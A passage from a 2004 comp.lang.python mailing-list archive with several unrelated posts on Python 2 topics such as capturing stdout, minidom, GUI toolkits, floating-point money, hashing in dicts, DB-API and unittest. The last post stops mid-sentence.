References: <95c29a5e.0409131910.5c916122@posting.google.com>
	<1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com>
Message-ID: <20040914181858.GA12324@grulic.org.ar>

On Tue, Sep 14, 2004 at 10:08:25AM +0200, Alex Martelli wrote:
> Robin Siebler <robin.siebler at palmsource.com> wrote:
> 
> > I want to use filecmp.dircmp, but it only prints to the screen, there
> > is no way to capture the output.  So I thought that I should simply be
> 
> Il prints to sys.stdout, which may be the screen or elsewhere, therefore
> there IS of course a way to capture the output:
> 
> import sys, filecmp, cStringIO
> 
> save_stdout = sys.stdout

I believe sys.__stdout__ is there for the purpose of not having to
'save' sys.stdout in this way.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Q:	"What is the burning question on the mind of every dyslexic
	existentialist?"
A:	"Is there a dog?"
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040914/4340ae3b/attachment.sig>

From kyle at lakeofburningfire.org  Sun Sep  5 17:26:01 2004
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Sun, 05 Sep 2004 21:26:01 GMT
Subject: python.NET vs. IronPython (was: .net and python)
References: <mailman.2758.1094113688.5135.python-list@python.org>
	<xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net>
	<4136fe58$0$285$4d4ebb8e@news.nl.uu.net>
Message-ID: <3o0nj0h4k0jb37hrpm63efi14ogjgt1k7a@4ax.com>

python.net is a python extension that allows you to call .net classes
from regular python.  IronPython is a python interpreter coded in
either managed C or C#. (not sure which) That python interpreter not
only has access to .net classes, but runs on top of the .net virtual
machine.  It actually may be slightly faster than CPython since it
uses clr classes which have been heavily optimized. I think it's a
little early to tell about that, but it looks promising.  For right
now, python.net looks to be the moderate course if you just want to
call a few .net classes.


On Thu, 2 Sep 2004 13:05:02 +0200, "Guyon Mor?e"
<gumuz at NO_looze_SPAM.net> wrote:

>Can anyone tell me the difference between python.net and IronPython?
>
>
>"Lawrence Oluyede" <raims at dot.com> wrote in message
>news:xzh9kwuw4lj8$.18shw4j93827i.dlg at 40tude.net...
>> In data Thu,  2 Sep 2004 18:28:03 +1000, Ajay ha scritto:
>>
>> > Is it possible for me to have part of my application written using
>C#.NET
>> > and then have it called from within a Python program.
>>
>> Try Python.NET http://www.zope.org/Members/Brian/PythonNet/index_html
>> From there you can access dotNET libraries within a Python program
>>
>> -- 
>> Lawrence (l dot oluyede at virgilio dot it)
>> "If the implementation is hard to explain, it's a bad idea."
>> from The Zen of Python by Tim Peters
>



From abra9823 at mail.usyd.edu.au  Fri Sep 10 06:51:32 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Fri, 10 Sep 2004 20:51:32 +1000
Subject: [XML-SIG] minidom parse error - keyerror
In-Reply-To: <1094762405.16237.329.camel@borgia>
References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
	<mailman.3019.1094619792.5135.python-list@python.org>
	<RQB%c.26808$Z14.8877@news.indigo.ie>
	<1094704456.413fdd48349c1@www-mail.usyd.edu.au>
	<1094762405.16237.329.camel@borgia>
Message-ID: <1094813492.414187341e79b@www-mail.usyd.edu.au>

Quoting Uche Ogbuji <uche.ogbuji at fourthought.com>:

> On Wed, 2004-09-08 at 22:34, Ajay wrote:
> > hi!
> >
> >
> > Quoting Alan Kennedy <alanmk at hotmail.com>:
> >
> > > [Ajay]
> > > > i have tried the archives now and heaps of Google searches but am
> no
> > > closer
> > > > to finding out what the error is.
> > > >
> > > > the error does not appear if i use expat.
> > >
> > > and
> > >
> > > >>i am parsing the attached document.
> > > >>the code is
> > > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> > > >>ruleSet = parse(ruleSetFile, parser=parser)
>
> You've got some odd code here.  The following works for me (no errors):
>
> >>> from xml.sax import make_parser
> >>> parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> >>> ruleSet = parser.parse("foo.xml")
>
> Where "foo.xml" is the file I pasted in from your message.

i should have put my import statements. i am actually trying to use minidom
with xmlproc. thus the code really is
from xml.dom.minidom import parse
from xml.sax import make_parser

parser=make_parser('xml.sax.drivers2.drv_xmlproc')
ruleSet = parse('foo.xml', parser=parser)

this throws the error i described earlier for the document which i also
posted earlier.

so what am i doing wrong?

cheers




>
>
> --
> Uche Ogbuji                                    Fourthought, Inc.
> http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
> Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK.  http://xmlopen.org
>
> A hands-on introduction to ISO Schematron -
> http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html
> Practical (Python) SAX Notes -
> http://www.xml.com/pub/a/2004/08/11/py-xml.html
> XML circles the globe - http://www.javareport.com/article.asp?id=9797
> Element structures for names and addresses -
> http://www.ibm.com/developerworks/xml/library/x-elemdes.html
> Commentary on "Objects. Encapsulation. XML?" -
> http://www.adtmag.com/article.asp?id=9090
> Harold's Effective XML -
> http://www.ibm.com/developerworks/xml/library/x-think25.html
> A survey of XML standards -
> http://www-106.ibm.com/developerworks/xml/library/x-stand4/
>
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From godoy at ieee.org  Tue Sep 14 13:24:02 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Tue, 14 Sep 2004 14:24:02 -0300
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
Message-ID: <m3vfeg69xp.fsf@g2ctech.com>

"Zooko O'Whielacronx" <zooko at zooko.com> writes:

> If you're developing a commercial application in Python, wxPython is 
> currently the only option that offers native widgets on w32.  It would 
> be a boost for Python if PyGUI got a native w32 backend.

Indeed...  But first, I'm curious about how it looks.  I don't
understand why people make GUI projects without any screenshot available
on their own website.  How can we see how it looks without downloading,
it? 


BTW, I got really interested on the tool used to draw the diagrams on
this page:
http://www.cosc.canterbury.ac.nz/~greg/python_gui/version/Doc/ownership.html



Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From ed-no at spam-eepatents.com  Tue Sep  7 13:24:03 2004
From: ed-no at spam-eepatents.com (Ed Suominen)
Date: Tue, 07 Sep 2004 10:24:03 -0700
Subject: ANN: WxInter
References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>
	<pan.2004.09.06.21.23.40.851628@jerf.org>
	<chk3hp$gqb$1@news-reader3.wanadoo.fr>
Message-ID: <WKOdnb_jwesHc6DcRVn-ug@centurytel.net>

Good points. The thing to do, IMHO, would be to improve wxWindows/wxPython
to provide the text and canvas widget functionality, and then move with the
WxInter idea to use it as a path for abandoning TkInter.

I have Tk and OOP experience, and could work on WxInter (all Python) with
the help of others. But the work on wxWindows/wxPython (C++) would have to
be someone else's domain. The wxWidgets project has a bounties page [1]. If
there were enough interest (e.g., by the Python foundation), that might be
a route to get the needed text/canvas functionality.

Would a PEP be welcomed or opposed on this topic?

[1] http://wiki.wxwidgets.org/wiki.pl?WxWidgets_Bounties

Ed Suominen
Registered Patent Agent
Open-Source Software Author (yes, both...)
Web Site: http://www.eepatents.com


Eric Brunel wrote:

> Jeremy Bowers wrote:
>> On Mon, 06 Sep 2004 15:55:30 -0700, Ed Suominen wrote:
>> 
>> 
>>>WxInter is a drop-in replacement for TkInter, providing user-transparent
>>>wxPython-based replacements for each and every part of the Tkinter class
>>>library. Because wxPython can do anything that the ancient and stagnant
>>>TkInter can do (but with a themable, modern window appearance), legacy
>>>code will still run, looking better than ever, and Python's last
>>>connection to the Tcl/TK albatross will be forever broken.
>>>
>>>OK, I just made all this up. But why couldn't it happen? I'd even be
>>>tempted to code it myself, but I'm sure others with some wxPython
>>>experience could do it much faster and better.
>> 
>> 
>> Well, it would break my app. The TKInter text widget is better than what
>> the wxWindows text widget can provide for me
> 
> Agreed. And I didn't see any equivalent of the Tkinter Canvas widget in
> any other toolset. In fact, I didn't even see any widget coming close to
> it. For some kind of applications (namely application doing vector
> drawing), it is nearly impossible to consider anything else than Tkinter
> *because* of the Canvas widget...
> 
> However, I'll be glad if someone can prove me wrong...



From steven.bethard at gmail.com  Mon Sep 13 15:57:51 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 13 Sep 2004 19:57:51 +0000 (UTC)
Subject: Find first in sequence (simple question)
References: <ci4s2o$irv$1@sea.gmane.org>
Message-ID: <loom.20040913T215521-768@post.gmane.org>

Neal D. Becker <ndbecker2 <at> verizon.net> writes:

> 
> What is an efficient way to find the first element in a sequence meeting
> some condition?
> 
> For example, the first number > x in a list of numbers.
> 

>>> l = range(20)
>>> def cond(x):
...     return x > 11
...
>>> i = itertools.ifilter(cond, l)
>>> i.next()
12

That is, the first element of the iterator returned by itertools.ifilter 
should be the element you want.

STeve



From steven.bethard at gmail.com  Thu Sep 23 11:36:46 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 23 Sep 2004 15:36:46 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <A128D751272CD411BC9200508BC2194D053C79A1@escpl.tcp.com.ar>
	<mailman.3670.1095791749.5135.python-list@python.org>
	<5y04d.1704$g42.492@newsread3.news.pas.earthlink.net>
	<mailman.3684.1095801098.5135.python-list@python.org>
	<1gkklc5.1p7evdjdacgadN%aleaxit@yahoo.com>
Message-ID: <loom.20040923T173307-765@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
<snip code masquerading cmp as key> 
> now, anylist.sort(key=masquerade_a_cmp_as_a_key(foo)) should do just the
> same thing (albeit a tad slower) as anylist.sort(cmp=foo), I believe.

Good point.  It also makes the better point that trying to use key= when you 
really want cmp= would be pretty awkward.  And examples like Andrew Dalke's 
file comparator (that compares file size before comparing content) would be 
more awkward to write this way.  (If nothing else, he'd have to use your 
wrapper function.)

I'm convinced. ;)

STeve







From timr at probo.com  Thu Sep 23 23:45:48 2004
From: timr at probo.com (Tim Roberts)
Date: Thu, 23 Sep 2004 20:45:48 -0700
Subject: Why not FP for Money?
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<n1t4l0dr411c6nb40vl0ge9k9ifanr6atd@4ax.com>
Message-ID: <ng57l09uc9miqk2h8k9o8d412474hf89mr@4ax.com>

Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

>On 22 Sep 2004 22:03:43 -0700, Barkmann at gmail.com (Chris Barker)
>declaimed the following in comp.lang.python:
>
>> binary FP, you can't represent 1/10 of a cent exactly, but you can get
>> darn close, and if you round the answer to pennies when your done, it
>> will be just as accurate as decimal (given how many bit you use,
>> etc.), in general.
>>
>	Note that M$ VB "Money" data type (which I believe is a scaled
>double binary integer) purportedly goes to the hundredth of a cent.

Exactly correct.  It is a 64-bit scaled integer, scaled by 10000.  The
Currency data type has been dropped in VB.NET; they now have a full-fledged
Decimal type.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From keir at mooncode.com  Wed Sep  8 12:34:12 2004
From: keir at mooncode.com (keirr)
Date: 8 Sep 2004 09:34:12 -0700
Subject: tuples allocated by formated print ?
Message-ID: <chnca4$oma@odah37.prod.google.com>

Alexander Hoffmann wrote:
> Hello,
>
> Recently I was debugging a memory leak in my app and finally figured
out that
> I had to manually implement destructors for some classes.
> While debugging I wrote a method that prints the number of instances
per type
> for all objects returned by gc.get_objects. I was astonished by the
fact that
> after perfroming a few tests with my app there were about 4000
instances of
> Tuple in memory. Looking at these instances I got the feeling that
they
> contained the values I used in formated prints like: print ("my name
is %s" % 
> ("alex", ))
<snip>

Do these objects survive gc.collect() ?



From fredrik at pythonware.com  Thu Sep 30 02:00:29 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 30 Sep 2004 08:00:29 +0200
Subject: ImageWin Dib draw  usage?
References: <eDjKa.19934$pK2.29161@news.indigo.ie>
	<AN6dnf8DhfzS38bcRVn-uA@adelphia.com>
Message-ID: <cjg7a1$r8v$1@sea.gmane.org>

D. Rush wrote:

> And of course the source - if that's helpful:
> http://www.koders.com/python/fidF6C509A8541B869587B2FA42EFE57E5FA417147B.aspx?s=ImageWin

# The Python Imaging Library.
# $Id: ImageWin.py,v 1.1 2000/05/24 13:29:09 stig Exp $

who's stig?

</F> 





From fumanchu at amor.org  Wed Sep 29 11:11:17 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 29 Sep 2004 08:11:17 -0700
Subject: Quiero empezar con python pero quisiera saber...
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F17@exchange.hqamor.amorhq.net>

> Hola Comunidad de python...reciban de mi parte un Cordial saludo

De mio tambien. Disculpe mi Espa?ol, pero solo lo hablo en mi trabajo, no lo escribo mucho. Pero voy tratar... Tambien soy programador durante 4 a?os en VB y un poquito en Java. Ya hago todo en Python. Bienvenidos! (Al lado, debes saber que la mayoria de las conversaciones en esta list son en Ingles. Si hablas Ingles tanto que mi pobre Espa?ol, debes probarlo a ganar majores respuestas... ;)

> quisiera saber y espero una opinion objetiva si con python
> puedo encontrar la misma robutez la misma sencillez que
> tiene un lenguaje como por ejemplo java.

En esta punto, la misma robutez pero MUCHO mas sencillez.

> si puedo encontrar la misma velocidad y rendimiento en
> cuanto interfaces como visual basic.

Python tiene muchos opciones para hacer GUIs. Debes leer el FAQ: http://www.python.org/doc/faq/gui.html

Por eso, hay unos dise?adoras para Python: google por "pythoncard" y "boa constructor", unos de los mas maduros. Nada de estos ya alcanza la nivel de VB, en mi opinion. Pero yo hago aplicaciones para el web, en la mayoria, entonces no los he probado mucho.

> quisiera saber como es el manejo de bases de datos facil???

La manera mas facil probablemente es el DB-API: http://www.python.org/topics/database/

> python tiene algun programa que haga reportes como el
> JasperReport para java???

No tengo experiencia con eso. Pero por PDF desde Python, hay reportlab: http://www.reportlab.com/ y http://www.reportlab.org.

> Python usa punteros?????

Solamente por adentro. Todo de las referencias son punteros, pero ocultado del programador. No te preocupa con esos en Python. :)


Espero que he ayudado,


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From uche at ogbuji.net  Fri Sep  3 19:31:15 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 3 Sep 2004 16:31:15 -0700
Subject: xml.dom.minidom - documentElement vs. childNodes
References: <mailman.2621.1093888223.5135.python-list@python.org>
	<ch03lt$soa$01$1@news.t-online.com>
Message-ID: <d116fbae.0409031531.224a7a14@posting.google.com>

Peter Otten <__peter__ at web.de> wrote in message news:<ch03lt$soa$01$1 at news.t-online.com>...
> Skip Montanaro wrote:
> 
> > I'm getting somewhat painfully acquainted with xml.dom.minidom.  What is
> > the relationship between its documentElement attribute and its childNodes
> > list?
> > I thought XML documents consisted of a single, possibly compound, node. 
> > Why is a list of childNodes needed?
>  
> >>> import xml.dom.minidom as md
> >>> dom = md.parseString("""<?xml version="1.0" ?><!--comment--><root/>""")
> >>> dom.childNodes
>  [<DOM Comment node "comment">, <DOM Element: root at 0x4038c1ac>]
> >>>
> 
> Seems like comments are preserved in childNodes, too.

Comments, processing instructions and whitespace text nodes can come
before the document element, and in that way becoem the children of
the document node.  Minidom doesn't keep document-level whitespace,
but som DOM impls do.

Furthermore the doctype of the document is a child of the document
node.  It can be an actual doc type declaration:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html
    xmlns:ft="http://xmlns.4suite.org/ext"
    xmlns:sun="http://metadata.central/swordfish/1.0/"
    xmlns="http://www.w3.org/1999/xhtml"
    lang="en">
[SNIP]

Or an implicit one, as in your example (where the only doctype
information is the document type element).

All that having been said, I must add that in the words of Guido "DOM
sucks".

We designed Domlette to ignore some of the madness of the full DOM
spec (though it does support multiple children for the document node,
which is pwerfectly fine and useful).

-- 
Uche Ogbuji                                    Fourthought, Inc.
http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK.  http://xmlopen.org
 
A hands-on introduction to ISO Schematron -
http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html
Practical (Python) SAX Notes -
http://www.xml.com/pub/a/2004/08/11/py-xml.html
XML circles the globe - http://www.javareport.com/article.asp?id=9797
Element structures for names and addresses -
http://www.ibm.com/developerworks/xml/library/x-elemdes.html
Commentary on "Objects. Encapsulation. XML?" -
http://www.adtmag.com/article.asp?id=9090
Harold's Effective XML -
http://www.ibm.com/developerworks/xml/library/x-think25.html
A survey of XML standards -
http://www-106.ibm.com/developerworks/xml/library/x-stand4/


From secun at yahoo.com  Mon Sep 13 12:22:33 2004
From: secun at yahoo.com (ChrisH)
Date: Mon, 13 Sep 2004 16:22:33 GMT
Subject: network programming list.
References: <mailman.3001.1094598539.5135.python-list@python.org>
Message-ID: <MPG.1baf93804a2e5a4498968b@news2.atlantic.net>

What OS(s)?

In article <mailman.3001.1094598539.5135.python-list at python.org>, 
christopher at baus.net says...
> Is there a network programming list for Python?  I primarily use python
> for network programming, and the amount of traffic on this list is
> overwhelming, as there are a bunch of topics regarding the language itself
> rather than the applications.
> 
> I was wondering if others think it might be worth while to create a list
> that is focused on network programming.
> 
> ==
> christopher baus
> http://www.baus.net/
> 
> 


From aleaxit at yahoo.com  Thu Sep 30 07:30:18 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 30 Sep 2004 13:30:18 +0200
Subject: Constant variable and API
References: <mailman.4124.1096527451.5135.python-list@python.org>
Message-ID: <1gkxh3j.a0smmm1ci3o2yN%aleaxit@yahoo.com>

mg <mg.mailing-list at laposte.net> wrote:
   ...
> Then, my question is : how can I implement a constant variable from the
> API in order to the reaffectation (MyModule.NULL = 99) of my variable be
> impossible ?

With a module (a direct instance of types.ModuleType), you can't -- the
module type just doesn't have any functionality to control attribute
setting.  You can subclass the type to do that, and install an instance
of the subclass in sys.modules in the appropriate place...


Alex


From aleaxit at yahoo.com  Sun Sep 19 13:21:50 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 19 Sep 2004 19:21:50 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<7xfz5ein0h.fsf@ruckus.brouhaha.com>
Message-ID: <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
   ...
> The issue here is that Python's behavior confuses the hell out of some
> new users.  There is a separate area of confusion, that
> 
>    a = 2 / 3
> 
> sets a to 0, and to clear that up, the // operator was introduced and
> Python 3.0 will supposedly treat / as floating-point division even
> when both operands are integers.  That doesn't solve the also very
> common confusion that (1.0/3.0)*3.0 = 0.99999999.  Rational arithmetic
> can solve that.

Yes, but applying rational arithmetic by default might slow some
computations far too much for beginners' liking!  My favourite for
Python 3.0 would be to have decimals by default, with special notations
to request floats and rationals (say '1/3r' for a rational, '1/3f' for a
float, '1/3' or '1/3d' for a decimal with some default parameters such
as number of digits).  This is because my guess is that most naive users
would _expect_ decimals by default...


> Yes, with rational arithmetic, it will still be true that
> sqrt(5.)**2.0 doesn't quite equal 5, but hardly anyone ever complains
> about that.
> 
> And yes, there are languages that can do exact arithmetic on arbitrary
> algebraic numbers, but they're normally not used for general-purpose
> programming.

Well, you can pretty easily use constructive reals with Python, see for
example <http://more.btexact.com/people/briggsk2/XR.html> -- that's a
vastly vaster set than just algebraic numbers.  If we DO want precision,
after all, why should sqrt(5) be more important than log(3)?


Alex


From jjl at pobox.com  Thu Sep 23 16:50:21 2004
From: jjl at pobox.com (John J. Lee)
Date: 23 Sep 2004 21:50:21 +0100
Subject: Python and Sybase
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
Message-ID: <87wtyksoaa.fsf@pobox.com>

David Rysdam <drysdam at ll.mit.edu> writes:

> What module is most recommended for accessing Sybase from Python?
> This one: http://www.object-craft.com.au/projects/sybase/sybase/  ?

As far as I know, that's the only one.


> Also, is there any module that provides a generic DB API and can be
> hooked to both Sybase and postgresql?  This
> (http://www.python.org/peps/pep-0249.html) looks pretty old.

Not a single module -- why would you want one?

The DB API (version 2) is the standard.  The idea of the DB API is to
make it possible to write DB API code that works across multiple
database backends.  No need at all for a single module, just a single
standard.  Unfortunately, making this work is not entirely trivial:
There are some stupid issues that are the fault of the DB API -- SQL
argument substitution syntax in particular -- and some trickier ones
-- particularly the variations in the capabilities of DBMSes.  If you
want your code to work across multiple DBMS backends, you should test
it with those DBMSes from the start.  Doing it later is possible but
may be hard work (made less difficult if you keep your DB code
localised).


John


From sbabbitt at commspeed.net  Fri Sep 10 14:12:00 2004
From: sbabbitt at commspeed.net (Tom B.)
Date: Fri, 10 Sep 2004 11:12:00 -0700
Subject: Executing system commands with wxpython
References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com>
Message-ID: <1094840513.775593@news.commspeed.net>


"twsnnva" <twsnnva at msn.com> wrote in message 
news:3dec2e051d82da31c9fe868669e3ce6d at localhost.talkaboutprogramming.com...
> Could anyone give me an example (code) of a simple program with a button
> that when clicked executes a linux shell or windows dos command like
> "ifconfig" or "ipconfig" and prints the output somewhere in the same
> window. Thanks.
>
First ,

import popen2

In your 'OnButtonEvent' function,

tomin, tomout = popen2.popen4( 'ipconfig')
ipconfig_text = tomin.read()
tomout.close()
tomin.close()

then you can put the results into your window of choice.

Tom
P.S. Try it out by using the new modifiable demo.





From aleaxit at yahoo.com  Thu Sep  9 03:28:32 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 09:28:32 +0200
Subject: Set and {} comparison confusion
References: <mailman.3077.1094712931.5135.python-list@python.org>
Message-ID: <1gju9e7.3exo4xy4ku00N%aleaxit@yahoo.com>

Roman Yakovenko <roman.yakovenko at actimize.com> wrote:

> Hi. Could somebody explain why sets and dict are different ?

sets.Set is build around dict, so let's concentrate on dict, the set
just follows from there.

> 
> from sets import Set as set
> 
> class A(object):
>       def __init__( self, x ):
>               self.x = x
>       def __eq__( self, other ):
>               return self.__dict__ == other.__dict__

This class is NOT correctly hashable.

A crucial semantic condition for hashing is:

    X==Y   ***MUST imply***   hash(X)==hash(Y)

But this is not ensured by this class A.  For example, as you've noticed
all A(1) instances compare equal to each other:

> print 'A(1) == A(1)', A(1) == A(1)

and yet their hashes are all different (and happen to equal their id's,
since you have not overridden __hash__):

xx = []
for i in xrange(4):
    xx.append(A(1))
    print hash(xx[-1])

emits, e.g.:

255856
256752
359376
357840

((note we're careful to keep the A(1)'s around, otherwise, if one had
been garbage collected the next one might happen to be allocated just at
the same place, thus accidentally have the same id...)).

As you are violating a semantic precondition of dict (that it be only
keyed into by _validly_ hashable keys), don't be surprised if the
behavior of such dicts is weird.  You can imagine equality comparison
starts by checking equality of hash values for keys to bail out fast in
most cases, here the hash values are different, so, poof.

Not easy to make that class A _correctly_ hashable, either (and it
really should be immutable too).  Assuming self.x is always hashable and
nobody ever reassigns it nor assigns any other attribute, you could try
adding something like...:

    def __hash__(self):
        return hash(tuple(self.__dict__.iteritems()))


Alex


From mensanator at aol.compost  Sat Sep  4 17:48:01 2004
From: mensanator at aol.compost (Mensanator)
Date: 04 Sep 2004 21:48:01 GMT
Subject: Dbase Connection
References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com>
Message-ID: <20040904174801.07582.00000186@mb-m11.aol.com>

>Subject: Dbase Connection
>From: "Stan Cook" scook at elp.rr.com 
>Date: 9/4/2004 3:38 PM Central Daylight Time
>Message-id: <3Jp_c.15967$Xi.2705 at fe1.texas.rr.com>
>
>Does anyone know how or what I can use to open, read and extract data from a
>dbase database?  I haven't found anything of much use with accompanying
>documentation.

Excel will open .dbf files.

-- 
Mensanator
Ace of Clubs


From mcfletch at rogers.com  Wed Sep 22 14:00:53 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 22 Sep 2004 14:00:53 -0400
Subject: An attempt to use a python-based mini declarative language for
 form	definition
In-Reply-To: <864d3709040922103690a00e@mail.gmail.com>
References: <864d3709040922103690a00e@mail.gmail.com>
Message-ID: <4151BDD5.7080108@rogers.com>

This is just a sketch, you should do the code properly...

class BaseWidget:
    counter = 0
    def __init__( self ):
       BaseWidget.counter += 1
       self.__id = BaseWidget.counter
    def __cmp__( self, other ):
       return cmp( self.id , other.id )

class  TextBox( BaseWidget ):
    pass

Make it thread safe, elegant, fully-comparable, etceteras, then just 
sort the list of widgets you get for any given instance of Form.  Isn't 
precisely defined as the order they appear in the definition (they could 
be created elsewhere and included), but short of just putting them in a 
list-attribute and injecting them in the class with the metaclass (which 
is what I'd do), looks like a pretty good bet.

HTH,
Mike

Carlos Ribeiro wrote:
...

>-- I've tried using metaclasses or other similar magic; I've read the
>tutorials, tried some code, and read sqlobject own implementation.
>This is not a problem for sqlobject, because the order of the columns
>in the database is totally isolated from the object representation.
>But in my case, it is a problem, because I need the fields to be in
>the correct order in the display.
>
>My question is, there is any way to retrieve the class attributes in
>the order they were declared? I could not find any; __setattr__ won't
>work because the dict is constructed using the native dict type before
>__new__ has a chance at it. Is there anything that I'm overlooking?
>  
>
________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From mauriceling at acm.org  Tue Sep  7 05:43:52 2004
From: mauriceling at acm.org (Maurice LING)
Date: Tue, 07 Sep 2004 09:43:52 GMT
Subject: Automated Perl to Python translation?
In-Reply-To: <b16e4ef7.0409040550.4432a70f@posting.google.com>
References: <b16e4ef7.0409040550.4432a70f@posting.google.com>
Message-ID: <413d82d3$1@news.unimelb.edu.au>

Stephen Ferg wrote:
> I need to translate some Perl scripts into Python.
> 
> When I went looking for a tool that would help automate the
> translation, I was rather surprised that I couldn't find anything. 
> BridgeKeeper, the only real candidate that I could find, is no longer
> available.  There are of course general-purpose parsing packages, but
> I'm looking for something target specifically to Perl-to-Python
> translation.
> 
> Since I couldn't find anything, I've started to write my own. 
> Preliminary results are good, but before I spend any more time on it I
> want to be really sure that I'm not re-inventing the wheel.
> 
> Does anybody know of any tools to automate (or assist) Perl to Python
> translation?

This is a great feat of worth I'll say. I remembered reading somewhere 
that Jython uses JavaCC, so perhaps looking in that direction can be of 
some help.

PLY is one of the pure python lex/yacc system I can find. There is also 
SPARK, but John Aycock had left the university. PLY is partially based 
on SPARK.

If this can be worked out, Perl/Python/Java combination is too powerful 
to imagine......

Maurice


From mark at prothon.org  Wed Sep  1 15:59:20 2004
From: mark at prothon.org (Mark Hahn)
Date: Wed, 1 Sep 2004 12:59:20 -0700
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>	<mailman.2573.1093758218.5135.python-list@python.org>	<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<7Y2dncuabfymLajcRVn-gw@powergate.ca>
Message-ID: <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net>

On Wed, 01 Sep 2004 07:19:21 -0400, Peter Hansen wrote:

> Mark Hahn wrote:
> 
>> It turns out that I missed a sourceforge project called PyCs so we will be
>> changing our name soon.  Our current best guess is Pyxc pronounced Pixie.
> 
> http://pyxie.sourceforge.net/
> 
> Best to avoid homonyms too, I think.  Try again.

I see no problem with homonyms, unless it was another computer language.


From sizelji at insightbb.com  Tue Sep 28 17:47:32 2004
From: sizelji at insightbb.com (Jim Sizelove)
Date: Tue, 28 Sep 2004 21:47:32 GMT
Subject: all pairs of items in a list without indexing?
In-Reply-To: <mailman.4028.1096403649.5135.python-list@python.org>
References: <mailman.4028.1096403649.5135.python-list@python.org>
Message-ID: <UZk6d.170834$3l3.71882@attbi_s03>

Steven Bethard wrote:
> So I need to do something like:
> 
> for i in range(len(l)):
>     for j in range(i+1, len(l)):
>         # do something with (l[i], l[j])
> 
> where I get all pairs of items in a list (where I'm thinking of pairs
> as sets, not tuples, so order doesn't matter).  There isn't really
> anything wrong with the solution here, but since Python's for-each
> construction is so nice, I usually try to avoid range(len(..)) type
> calls and list indexing when I can...  Is there any way to do this
> without indexing

Are you trying to pair each item in a list with every other
item exactly once?  Maybe this code does what you want:

while len(L)>0:
     item1 = L.pop()
     for item2 in L:
         print (item1, item2)

pop() removes one item from the list.  The inner for loop matches that 
item with each of the remaining items.  At the end of the outer loop the 
list L is empty; you may want to run this loop over a copy of the list 
if you want to do other things with the list later.

HTH,

Jim


From remy.blank_asps at pobox.com  Thu Sep 23 11:11:32 2004
From: remy.blank_asps at pobox.com (Remy Blank)
Date: Thu, 23 Sep 2004 17:11:32 +0200
Subject: unittest: new reporting category "skipped"
In-Reply-To: <roy-95B4DB.09430723092004@reader1.panix.com>
References: <mailman.3772.1095935910.5135.python-list@python.org>
	<roy-95B4DB.09430723092004@reader1.panix.com>
Message-ID: <ciup34$2r9$1@sea.gmane.org>

Roy Smith wrote:
> Having just completed a project which required testing as root, I can 
> sympathize with you completely!  If at all possible, try to avoid 
> getting painted into that particular corner.
> 
> Is it possible that by building the appropriate test scaffolding, you 
> could run the tests as a normal user?  For example, let's say the reason 
> you need to be root is because you are reading a file which is mode 600.  
> You could then do something like this:

(snip)

> It's not always possible or practical to do that, but it's worth 
> thinking about.

Yes, well, the whole idea of my project (which I'll call mockfs) is
to provide a framework to do exactly that. However, for it to be
useful, it has to behave as closely as possible as an original
filesystem. So the idea was to write a test suite that can be run
either on the real filesystem (in a chroot environment), or on the
